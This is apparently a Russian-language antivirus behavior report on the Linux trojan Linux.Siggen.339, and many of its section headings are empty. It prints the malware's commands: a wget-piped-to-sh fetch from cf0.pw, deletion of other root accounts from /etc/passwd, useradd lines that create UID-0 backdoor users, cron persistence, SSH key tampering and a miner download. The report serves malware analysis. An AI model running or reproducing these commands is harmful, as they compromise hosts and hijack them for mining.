Linux.Siggen.339

Для обеспечения автоматического запуска и распространения:

Создает или модифицирует следующие файлы:

Вредоносные функции:

Получает доступ к ключам SSH

Запускает процессы:

sh -c wget http://cf0.pw/0/etc/cron.hourly/0 -O- 2>/dev/null|sh>/dev/null 2>&1
sh
wget http://cf0.pw/0/etc/cron.hourly/0 -O-
sed -i /^[^:]\+:x:0:/{/^root:/!d} /etc/passwd
sed -i /^$/d /etc/passwd
sed -i /^$/d /etc/shadow
useradd -u 0 -g 0 -o -l -d /root -N -M -p $1$f344a097$L.vnLN/nzsnLirq5nMTBg. sudev
nscd -i passwd
nscd -i group
useradd -u 0 -g 0 -o -l -d /root -N -M -p $1$.bHtz1HY$eNtJowby1b0WVTgQT2bLu/ jewbags
rm -f /etc/cron.hourly/1
mkdir -p /root
mkdir -p /root/.ssh
wget http://cf0.pw/log/ -O /dev/null
chmod +x /etc/cron.hourly/0
chmod +x /etc/cron.daily/0
chmod +x /etc/cron.weekly/0
chmod +x /etc/cron.monthly/0
apt-get install wget curl -y
/usr/bin/dpkg --print-foreign-architectures
/usr/lib/apt/methods/http
pkill -9 xmrig
grep rbdYSfTEtykGg /root/.ssh/authorized_keys
mkdir -p /usr/libexec
chmod 755 /root /root/.ssh /root/.ssh/authorized_keys
chown root:root /root /root/.ssh /root/.ssh/authorized_keys
rm -f /usr/libexec/x
wget http://cf0.pw/0/xmr.tgz -O /usr/libexec/x

Пытается завершает следующие процессы:

Завершает следующие процессы:

Выполняет операции с файловой системой:

Модифицирует права доступа к файлам:

Создает папки:

Создает символические ссылки (симлинки):

Создает или модифицирует файлы:

Удаляет файлы:

Сетевая активность:

Устанавливает соединение:

HTTP GET-запросы:

cf#.####/etc/cron.hourly/0
cf#.pw/log/
se######.######.######ol/updates/main/c/curl/libcurl3_7.38.0-4%2bdeb8u5_i386.deb
ft#.##.######.#####ebian/pool/main/w/wget/wget_1.16-1%2bdeb8u1_i386.deb
se######.######.#####ool/updates/main/c/curl/curl_7.38.0-4%2bdeb8u5_i386.deb
cf#.##/0/xmr.tgz

DNS ASK:

Прочее:

Собирает информацию о CPU

Собирает информацию об оперативной памяти